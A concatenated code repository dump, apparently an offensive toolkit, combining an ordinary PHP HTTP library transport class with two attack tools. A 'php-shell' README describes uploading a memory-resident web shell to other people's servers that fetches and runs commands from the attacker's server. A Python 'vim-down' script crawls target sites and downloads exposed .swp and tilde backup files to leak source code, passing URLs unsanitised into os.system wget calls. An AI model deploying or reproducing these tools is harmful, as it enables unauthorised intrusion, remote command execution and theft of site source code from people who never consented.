self::SECOND_IN_MICROSECONDS; 225 | } 226 | stream_set_timeout($socket, $timeout_sec, $timeout_msec); 227 | 228 | $response = $body = $headers = ''; 229 | $this->info = stream_get_meta_data($socket); 230 | $size = 0; 231 | $doingbody = false; 232 | $download = false; 233 | if ($options['filename']) { 234 | $download = fopen($options['filename'], 'wb'); 235 | } 236 | 237 | while (!feof($socket)) { 238 | $this->info = stream_get_meta_data($socket); 239 | if ($this->info['timed_out']) { 240 | throw new Requests_Exception('fsocket timed out', 'timeout'); 241 | } 242 | 243 | $block = fread($socket, Requests::BUFFER_SIZE); 244 | if (!$doingbody) { 245 | $response .= $block; 246 | if (strpos($response, "\r\n\r\n")) { 247 | list($headers, $block) = explode("\r\n\r\n", $response, 2); 248 | $doingbody = true; 249 | } 250 | } 251 | 252 | // Are we in body mode now? 253 | if ($doingbody) { 254 | $options['hooks']->dispatch('request.progress', array($block, $size, $this->max_bytes)); 255 | $data_length = strlen($block); 256 | if ($this->max_bytes) { 257 | // Have we already hit a limit? 258 | if ($size === $this->max_bytes) { 259 | continue; 260 | } 261 | if (($size + $data_length) > $this->max_bytes) { 262 | // Limit the length 263 | $limited_length = ($this->max_bytes - $size); 264 | $block = substr($block, 0, $limited_length); 265 | } 266 | } 267 | 268 | $size += strlen($block); 269 | if ($download) { 270 | fwrite($download, $block); 271 | } 272 | else { 273 | $body .= $block; 274 | } 275 | } 276 | } 277 | $this->headers = $headers; 278 | 279 | if ($download) { 280 | fclose($download); 281 | } 282 | else { 283 | $this->headers .= "\r\n\r\n" . $body; 284 | } 285 | fclose($socket); 286 | 287 | $options['hooks']->dispatch('fsockopen.after_request', array(&$this->headers, &$this->info)); 288 | return $this->headers; 289 | } 290 | 291 | /** 292 | * Send multiple requests simultaneously 293 | * 294 | * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see Requests_Transport::request} 295 | * @param array $options Global options, see {@see Requests::response()} for documentation 296 | * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well) 297 | */ 298 | public function request_multiple($requests, $options) { 299 | $responses = array(); 300 | $class = get_class($this); 301 | foreach ($requests as $id => $request) { 302 | try { 303 | $handler = new $class(); 304 | $responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']); 305 | 306 | $request['options']['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$id], $request)); 307 | } 308 | catch (Requests_Exception $e) { 309 | $responses[$id] = $e; 310 | } 311 | 312 | if (!is_string($responses[$id])) { 313 | $request['options']['hooks']->dispatch('multiple.request.complete', array(&$responses[$id], $id)); 314 | } 315 | } 316 | 317 | return $responses; 318 | } 319 | 320 | /** 321 | * Retrieve the encodings we can accept 322 | * 323 | * @return string Accept-Encoding header value 324 | */ 325 | protected static function accept_encoding() { 326 | $type = array(); 327 | if (function_exists('gzinflate')) { 328 | $type[] = 'deflate;q=1.0'; 329 | } 330 | 331 | if (function_exists('gzuncompress')) { 332 | $type[] = 'compress;q=0.5'; 333 | } 334 | 335 | $type[] = 'gzip;q=0.5'; 336 | 337 | return implode(', ', $type); 338 | } 339 | 340 | /** 341 | * Format a URL given GET data 342 | * 343 | * @param array $url_parts 344 | * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query} 345 | * @return string URL with data 346 | */ 347 | protected static function format_get($url_parts, $data) { 348 | if (!empty($data)) { 349 | if (empty($url_parts['query'])) { 350 | $url_parts['query'] = ''; 351 | } 352 | 353 | $url_parts['query'] .= '&' . http_build_query($data, null, '&'); 354 | $url_parts['query'] = trim($url_parts['query'], '&'); 355 | } 356 | if (isset($url_parts['path'])) { 357 | if (isset($url_parts['query'])) { 358 | $get = $url_parts['path'] . '?' . $url_parts['query']; 359 | } 360 | else { 361 | $get = $url_parts['path']; 362 | } 363 | } 364 | else { 365 | $get = '/'; 366 | } 367 | return $get; 368 | } 369 | 370 | /** 371 | * Error handler for stream_socket_client() 372 | * 373 | * @param int $errno Error number (e.g. E_WARNING) 374 | * @param string $errstr Error message 375 | */ 376 | public function connect_error_handler($errno, $errstr) { 377 | // Double-check we can handle it 378 | if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) { 379 | // Return false to indicate the default error handler should engage 380 | return false; 381 | } 382 | 383 | $this->connect_error .= $errstr . "\n"; 384 | return true; 385 | } 386 | 387 | /** 388 | * Verify the certificate against common name and subject alternative names 389 | * 390 | * Unfortunately, PHP doesn't check the certificate against the alternative 391 | * names, leading things like 'https://www.github.com/' to be invalid. 392 | * Instead 393 | * 394 | * @see https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1 395 | * 396 | * @throws Requests_Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`) 397 | * @throws Requests_Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`) 398 | * @param string $host Host name to verify against 399 | * @param resource $context Stream context 400 | * @return bool 401 | */ 402 | public function verify_certificate_from_context($host, $context) { 403 | $meta = stream_context_get_options($context); 404 | 405 | // If we don't have SSL options, then we couldn't make the connection at 406 | // all 407 | if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) { 408 | throw new Requests_Exception(rtrim($this->connect_error), 'ssl.connect_error'); 409 | } 410 | 411 | $cert = openssl_x509_parse($meta['ssl']['peer_certificate']); 412 | 413 | return Requests_SSL::verify_certificate($host, $cert); 414 | } 415 | 416 | /** 417 | * Whether this transport is valid 418 | * 419 | * @codeCoverageIgnore 420 | * @return boolean True if the transport is valid, false otherwise. 421 | */ 422 | public static function test($capabilities = array()) { 423 | if (!function_exists('fsockopen')) { 424 | return false; 425 | } 426 | 427 | // If needed, check that streams support SSL 428 | if (isset($capabilities['ssl']) && $capabilities['ssl']) { 429 | if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) { 430 | return false; 431 | } 432 | 433 | // Currently broken, thanks to https://github.com/facebook/hhvm/issues/2156 434 | if (defined('HHVM_VERSION')) { 435 | return false; 436 | } 437 | } 438 | 439 | return true; 440 | } 441 | } 442 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Utility/CaseInsensitiveDictionary.php: -------------------------------------------------------------------------------- 1 | $value) { 30 | $this->offsetSet($key, $value); 31 | } 32 | } 33 | 34 | /** 35 | * Check if the given item exists 36 | * 37 | * @param string $key Item key 38 | * @return boolean Does the item exist? 39 | */ 40 | public function offsetExists($key) { 41 | $key = strtolower($key); 42 | return isset($this->data[$key]); 43 | } 44 | 45 | /** 46 | * Get the value for the item 47 | * 48 | * @param string $key Item key 49 | * @return string Item value 50 | */ 51 | public function offsetGet($key) { 52 | $key = strtolower($key); 53 | if (!isset($this->data[$key])) { 54 | return null; 55 | } 56 | 57 | return $this->data[$key]; 58 | } 59 | 60 | /** 61 | * Set the given item 62 | * 63 | * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`) 64 | * 65 | * @param string $key Item name 66 | * @param string $value Item value 67 | */ 68 | public function offsetSet($key, $value) { 69 | if ($key === null) { 70 | throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset'); 71 | } 72 | 73 | $key = strtolower($key); 74 | $this->data[$key] = $value; 75 | } 76 | 77 | /** 78 | * Unset the given header 79 | * 80 | * @param string $key 81 | */ 82 | public function offsetUnset($key) { 83 | unset($this->data[strtolower($key)]); 84 | } 85 | 86 | /** 87 | * Get an iterator for the data 88 | * 89 | * @return ArrayIterator 90 | */ 91 | public function getIterator() { 92 | return new ArrayIterator($this->data); 93 | } 94 | 95 | /** 96 | * Get the headers as an array 97 | * 98 | * @return array Header data 99 | */ 100 | public function getAll() { 101 | return $this->data; 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Utility/FilteredIterator.php: -------------------------------------------------------------------------------- 1 | callback = $callback; 33 | } 34 | 35 | /** 36 | * Get the current item's value after filtering 37 | * 38 | * @return string 39 | */ 40 | public function current() { 41 | $value = parent::current(); 42 | $value = call_user_func($this->callback, $value); 43 | return $value; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /php-shell/README.md: -------------------------------------------------------------------------------- 1 | # php shell 2 | 3 | Upload it to others' server, request this page, and the shell will 4 | stay in their memory. Put your command on your server and the shell 5 | will read and exacute it. -------------------------------------------------------------------------------- /php-shell/shell.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /vim-down/README.md: -------------------------------------------------------------------------------- 1 | It can download the backup files of vim editor. 2 | 3 | You can choose to add your target url into the "urllist.txt", 4 | or use the spyder to crawl those urls. BTW, crawler sometimes does not work. 5 | -------------------------------------------------------------------------------- /vim-down/backdown.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | import os 3 | import sys 4 | import time 5 | import requests 6 | import urlparse 7 | from bs4 import BeautifulSoup 8 | 9 | 10 | class checkUrl(object): 11 | """docstring for checkDown""" 12 | def __init__(self, url): 13 | if url[0:4] != 'http': 14 | url = 'http://' + url 15 | self.__url = url 16 | self.__filename = os.path.basename(url) 17 | self.__dirname = os.path.split(url) 18 | self.__script = os.path.splitext(url) 19 | 20 | def vimdown(self, suffix): 21 | u = os.path.join(self.__dirname[0], '.' + self.__filename + suffix) 22 | print '[Try]', u, 23 | if requests.get(u).status_code != 404: 24 | print '[Success]' 25 | os.system('wget ' + u + ' -O ./pages/' + self.__filename + suffix) 26 | else: 27 | print '[Fail]' 28 | 29 | 30 | def wave(self): # For gedit 31 | u = self.__url + '~' 32 | print '[Try]', u, 33 | if requests.get(u).status_code != 404: 34 | print '[Success]' 35 | os.system('wget ' + u + ' -O ./pages/' + self.__filename + '~') 36 | else: 37 | print '[Fail]' 38 | 39 | 40 | def spyder_run(url): 41 | 42 | if url[0:4] != 'http': 43 | url = 'http://' + url 44 | 45 | urls = [url] 46 | visited = [url] 47 | 48 | txt = open('./urllist.txt', 'w+') 49 | 50 | while len(urls) > 0: 51 | sys.stdout.flush() 52 | htmltext = requests.get(urls[0]).text 53 | 54 | txt.writelines(urls[0] + '\n') 55 | 56 | soup = BeautifulSoup(htmltext, "html.parser") 57 | print len(urls), urls[0] 58 | urls.pop(0) 59 | 60 | for tag in soup.findAll('a', href = True): 61 | tag['href'] = urlparse.urljoin(url, tag['href']) 62 | if url in tag['href'] and tag['href'] not in visited and "#" not in tag['href']: # While in the sanme domin 63 | urls.append(tag['href']) 64 | visited.append(tag['href']) 65 | 66 | txt.close() 67 | 68 | 69 | 70 | def main(): 71 | spyder = raw_input('Spyder or not?(Beta)[Y/n]:') 72 | 73 | if spyder == 'n': 74 | pass 75 | else: 76 | initUrl = raw_input('Input URL:') 77 | spyder_run(initUrl) 78 | 79 | try: 80 | os.mkdir('pages') 81 | except: 82 | pass 83 | #Please ensure no blanks at EOF 84 | urls = [] 85 | for line in open("urllist.txt"): 86 | u = line.replace("\n", "") 87 | print "[*] Loading", u 88 | urls.append(u) 89 | print "[*] Load complete." 90 | 91 | while True: 92 | for url in urls: 93 | cu = checkUrl(url) 94 | try: 95 | cu.vimdown('.swp') 96 | cu.vimdown('.swn') 97 | cu.vimdown('.swo') 98 | cu.wave() 99 | except: 100 | pass 101 | time.sleep(3) 102 | 103 | if __name__ == '__main__': 104 | main() 105 | -------------------------------------------------------------------------------- /vim-down/urllist.txt: -------------------------------------------------------------------------------- 1 | 127.0.0.1/index.php 2 | --------------------------------------------------------------------------------